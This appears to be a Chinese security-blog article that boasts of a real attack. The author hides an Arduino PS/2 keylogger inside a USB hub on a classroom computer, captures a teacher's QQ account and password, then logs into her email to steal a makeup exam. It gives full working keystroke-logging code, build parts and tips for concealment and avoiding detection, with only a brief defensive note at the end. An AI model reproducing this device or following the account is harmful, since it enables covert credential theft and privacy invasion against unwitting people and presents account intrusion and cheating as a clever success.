鍵盤攔截器製作與測試
*本文作者:LEdge1,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。
前言
我在freebuf上面看過有人使用arduino製作鍵盤記錄的裝置但是,說真的,他們都沒有實戰過,今天我給大家帶來一下實戰!
今天我要說的是一個學渣的逆襲過程。
由於上學期考試掛科了,也是我大學裡面最後一個學期了,我可不想重修啊。想著寒假在家好好複習,到學校來好好參加考試,但是寒假裡面的誘惑太多了,不說在家搶紅包吧,各種朋友邀請出去吃飯就已經花費了大半個寒假了,平時還想睡一個懶覺,哪有什麼時間去學習啊!
到學校來複習時不可能的,寢室集體開黑。馬上要補考了,這可怎麼辦,不怕不怕。其實我早有妙招。
前期分析
偶然的機會,知道補考卷子在老師手上,老師們一般傳輸檔案無外乎QQ,微信,百度雲,郵箱了,要是能拿到他的QQ賬號密碼的話就好辦多了,有些人的百度雲也是通過QQ登陸的,郵箱的。目前來看,老師平時收作業都是通過QQ郵箱來收的,所以說只要拿到QQ賬號密碼就可以了就很有可能拿到考試卷子!
忘了賬號我已經有了,要拿到老師的密碼可不是一件簡單的事情啊。想來想去,要拿到他的密碼就要知道老師的一些習慣,這讓我想到了,平時老師總是喜歡在下課的時候通過QQ把上課的講義發到群裡面去給大家複習。哈哈,要是我能在學校的電腦上安裝鍵盤記錄軟體就好了,可是想來想去,我沒有許可權啊,除了在學校的網站上申請使用學校教室裡面的電腦,其他沒有任何其他辦法給電腦安裝鍵盤記錄軟體啊,本來想著使用BADUSB的,但是發現我連插上的機會都沒有哎。算了。還是想其他法子吧。突然想到了可以從鍵盤入手,改造鍵盤哈哈哈哈。
早在上學期幫老師除錯電腦的時候發現學校的鍵盤是usb介面的,而且鍵盤抽屜下面有很多雜亂的地方,全部是一些點電線什麼的。正好符合之前我製作的要求!
獻給大家分析一下具體的實施辦法吧:
我之前製作的小裝置是直接把鍵盤的線撥開,直接接線,這次就不能這麼幹了,畢竟剝線太浪費時間最好是能在短時間之內解決。現場接線,在那種比較慌張的情況下,很容易就搞錯了。我之前的做法是直接將讀取到的內容存到微控制器的EEPROM 中,為了方便我自己,我決定修改一下自己的電路,讓微控制器讀取到的內容存到我的記憶體卡中;並且為了隱蔽,我要把東西做到足夠小,我最後把他藏到了我的是 usbhub 中。實戰的時候我直接在鍵盤和電腦之間加上了我的 usbhub 。方便快捷,最主要還十分隱蔽,加上鍵盤下面全部是電線,一點也看不出來。
經過
想到之前使用arduino製作鍵盤記錄裝置的時候,我就知道這次可以使用這個法子竊取到鍵盤輸入的內容了!說幹就幹!
Arduino 本身使用的主控晶片只有 16Mhz ,作為 USBLow Speed 裝置傳送已經力不從心,更不要說直接對 USB 訊號取樣。 所以我在淘寶上買了兩個PS2的轉介面回來,裡面有晶片進行解碼,我在網上看了很多資料,終於搞懂了ps2介面協議。
接下來說一下PS2鍵盤一些資料吧。
在計算機主機上的ps2是母口的,因此排列順序與上圖正好相反.這6根線中只有Data和Clock用於資料傳輸,這樣看來鍵盤記錄器的原理其實並不複雜,我們需要一塊微控制器和一個儲存器,微控制器從鍵盤的data針腳讀取輸入資料,存入儲存器之後,再通過主機ps2插口上的data輸出,如下圖所示:
最後就是如何讓我的微控制器讀取輸入了,每次鍵盤輸入的時候會解析出一些和這個格式差不多的二進位制碼 01 00 000000 00 00 00 每個按鍵都有不同的資料,只要對應好,就可以很簡單的讀取出來,這裡我還得說一下,繞過防火牆,防毒軟體的問題。我製作的裝置只是讀取鍵盤輸出的電平訊號,壓根沒有在系統裡面執行,這麼會被檢測到!
下面給出一些製作過程由於arduino 官方所推薦的第三方ps2鍵盤庫,實現了基本的數字、字母和各種符號的輸入,截獲的按鍵程式碼直接轉換成每個鍵的ascii值,但缺點是支援的功能鍵很少,有些鍵按照其中的規則定義,會互相產生衝突,比如F1-F12鍵,就與從p到z的一組字母衝突,因為在鍵盤ascii碼標準中它們的值是一樣的,使用時需要增加額外的規則來判定,為此,我對這個庫做了修改,實現了ctrl和字母的組合,alt和字母的組合,不衝突的F1-F12功能鍵,大小寫切換以及原來庫裡面已經實現的翻頁和上下等特殊鍵。
這裡我給出我當時測試時的照片。下面我貼出程式碼,這是我測試的時候寫的程式碼。具體實現的目的是讀取鍵盤輸入,然後存到我的記憶體卡里面。
#include <PS2Keyboard.h> #include <SPI.h>//呼叫SD卡標頭檔案 #include <SD.h>//呼叫SD卡標頭檔案 const int DataPin = 8; const int IRQpin =3; const int chipSelect = 4; PS2Keyboard keyboard; File myFile; void setup() { delay(1000); keyboard.begin(DataPin, IRQpin); Serial.begin(9600);//設定串列埠波特率為9600 myFile = SD.open("REC.txt", FILE_WRITE);//開啟檔案REC.txt,若無則自動建立,但必須加入FILE_WRITE函式 Serial.println("鍵盤測試:"); // while (!Serial) //{ //; //等待串列埠連線。 僅適用於本機USB埠 //} Serial.println("Initializing SD card...");//正在初始化SD卡 //如果為非則初始化失敗 if (!SD.begin(4)) { Serial.println("initialization failed!"); return; } Serial.println("initialization done.");//初始化結束 //開啟檔案 myFile = SD.open("REC.txt", FILE_WRITE);//開啟檔案REC.txt,若無則自動建立,但必須加入FILE_WRITE函式 if (myFile) { //如果檔案能正確開啟,則做一下動作 Serial.print("Writing to...");//串列埠顯示正在寫入中。。。 //myFile.println("遙控訊號記錄開始");//寫入資料 //myFile.close();//關閉檔案 //Serial.println("done."); } else { // 如果檔案不能正常開啟,串列埠輸出錯誤提示 Serial.println("error opening test.txt"); } myFile.println("鍵盤記錄開始");//寫入資料 //for(int z=1;z<10;z++) //{ //myFile.println("鍵盤記錄開始");//寫入資料 //} //myFile.close();//關閉檔案 Serial.println("done."); myFile.close();//關閉檔案 Serial.println("關閉檔案"); Serial.println("setup函式執行完成"); Serial.println("即將進入loop函式"); } void loop() { Serial.println("進入loop函式:"); if (keyboard.available()) { Serial.println("keyboard啟用:"); myFile = SD.open("REC.txt", FILE_WRITE);//開啟檔案REC.txt,若無則自動建立,但必須加入FILE_WRITE函式 char c = keyboard.read();//讀取鍵盤輸入,將輸入存入字元變數c中 // 檢測一些特殊按鍵 if (c == PS2_ENTER) { //Serial.println(); myFile.println("");//寫入資料 } else if (c == PS2_TAB) { //Serial.print("[Tab]"); myFile.print("[Tab]");//寫入資料 } else if (c == PS2_ESC) { //Serial.print("[ESC]"); myFile.print("[ESC]");//寫入資料 } else if (c == PS2_PAGEDOWN) { //Serial.print("[PgDn]"); myFile.print("[PgDn]");//寫入資料 } else if (c == PS2_PAGEUP) { //Serial.print("[PgUp]"); myFile.print("[PgUp]");//寫入資料 } else if (c == PS2_LEFTARROW) { //Serial.print("[Left]"); myFile.print("[Left]");//寫入資料 } else if (c == PS2_RIGHTARROW) { //Serial.print("[Right]"); myFile.print("[Right]");//寫入資料 } else if (c == PS2_UPARROW) { //Serial.print("[Up]"); myFile.println("[Up]");//寫入資料 } else if (c == PS2_DOWNARROW) { //Serial.print("[Down]"); myFile.print("[Down]");//寫入資料 } else if (c == PS2_DELETE) { //Serial.print("[Del]"); myFile.print("[Del]");//寫入資料 } else { // 如果不是的話,就輸出本該輸出的字元 Serial.print(c); myFile.print(c);//寫入資料 } } myFile.close();//關閉檔案 }
裡面的註釋寫的很詳細!
我使用手上的一塊微控制器加上在淘寶上買的ps2轉usb的公母頭各一個,還有一個sd卡模組。當然了還有一些電阻電容的,我也不詳細說了。
最後為了安裝方便,我犧牲了我自己的usbhub,把做好的小東西藏到了usbhub的盒子裡面去了。
附上一張全部裝好的圖,這裡我也不打廣告了,這個usbhub相當不錯!(只不過當時製作的比較匆忙,沒有過多的照片)
接下來時屬於安裝過程
帶著我的小裝置去教室,在前一天晚自習的時候撐著下晚自習人多的時候,給電腦安裝上了我的裝置。這套裝置在自己的電腦上面測試過很多次了一點問題都沒有。
接下來屬於作死過程
第二天來了啊,一上課等老師開啟電腦,我全程看著電腦螢幕,沒有比這個更認真的了,聽見系統提示的聲音了,我的心提到了嗓子眼,應該是我usbhub在安裝驅動吧,過了一會,啥事沒有電腦也沒有報錯,我之前在自己電腦上除錯的時候,有時候會發現電腦無法識別鍵盤的問題。接下來我心就定了下來,安安心心上著第二學期的課。下課,老師想往常一樣登陸了QQ上傳了檔案,焦急的等待之後,終於下課了,我先上了個廁所,然後回來拿書包,這時候教室裡面已經沒有人了,我就揹著我的書包到電腦前拔下我的額裝置,將鍵盤放回之前的樣子。
TMD碰到倒垃圾的同學,我不認識,不怕。一點不慌的,回了寢室,從裝置裡面取出記憶體卡啊啊啊!!!
開始分析資料咯
前面有一串奇怪的程式碼,這些字母應該不是老師輸入的,因為自己測試的時候發現自己的鍵盤每次通電之後也會在我的sd卡里面生成一些資料,接下來的就是賬號密碼了,不知道為什麼賬號和密碼之間有一段空白,如果老師是按下tab鍵的話我寫的程式應該顯示的是【tab】啊。我在這猜想可能是老師不小心按下了空格鍵吧,但是也不會有那麼多吧。反正老師使用電腦也就輸出這些東西,其他的也沒看見她輸入。 由於不習慣使用王爺編輯器,導致我的密碼文件的圖片跑到上面去了。(請小編幫忙編輯一下咯)
看到了老師的QQ號,接下里就是密碼了吧,哈哈哈哈上課看老師輸入密碼的時候沒有輸入錯誤啥的。
接下來就是焦急的等待了,現在肯定不能上他的QQ號啊。哎,老師的還是八位QQ。等到晚上三點左右我估摸著老師也該休息了。開始作案,晚上三點之前還在電腦前,我室友還以為我在準備複習呢!
先等qq,發現QQ有裝置鎖,我記得上課從來沒看見要裝置鎖啊。
我去,接下來所有的希望就寄託在郵箱上了。登陸郵箱發現額,檔案太多了。找了半個小時,最後找到了補考卷子,我永遠沒想到補考卷子竟然和第一次考試的卷子一起出出來了。當時差點就沒找到,因為我想著,肯定會就在這幾天發出來,但是看了這幾天有附件的郵件都是沒有的,所有我就向前找了,找到了我第一次考試的壓縮包,其實我壓根沒想到是補考卷子。我當時也是要快奔潰了,下載下來玩玩的,沒想到開啟後,尷尬了,裡面有兩張卷子,哈哈哈哈哈哈哈,我要開始學習了。
在此我要宣告一下,我只拿了卷子,其他任何事情都沒幹,也沒看看什麼個人隱私,我的想法很單純。
這次內容涉及到的鍵盤攔截硬體方面的軟體和硬體方面的問題我一概不回,包括這次所有的照片我連微控制器都沒有拍。這次的拍攝的照片比較少,畢竟當時沒有想起來要寫文件。
最後:在這裡說一下任何防止這樣的攻擊,使用軟鍵盤輸出。網上有很多這樣的軟體,最主要win下還自帶。避免使用鍵盤輸入,帶來的硬體方面的資訊暴露,其實就是在輸入密碼的時候可以故意輸錯,任何在重新輸入,或者中間留幾個空,輸入完成之後在來填補那個空,不過這個方法比較煩,基本除了像我這樣的人沒人會用了(尤其不在自己電腦上輸入密碼的時候採用這種方式)。最後說一下我之前準備使用badusb攻擊的防範方法,其實啊badusb是模擬鍵盤輸入,執行一些惡意的命令,但是這個時候要是你電腦上面安裝了火絨地話,就不會出現這樣的問題了,我在接下來的稿件中將會展示一下如何防止badusb攻擊的辦法!
*本文作者:LEdge1,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。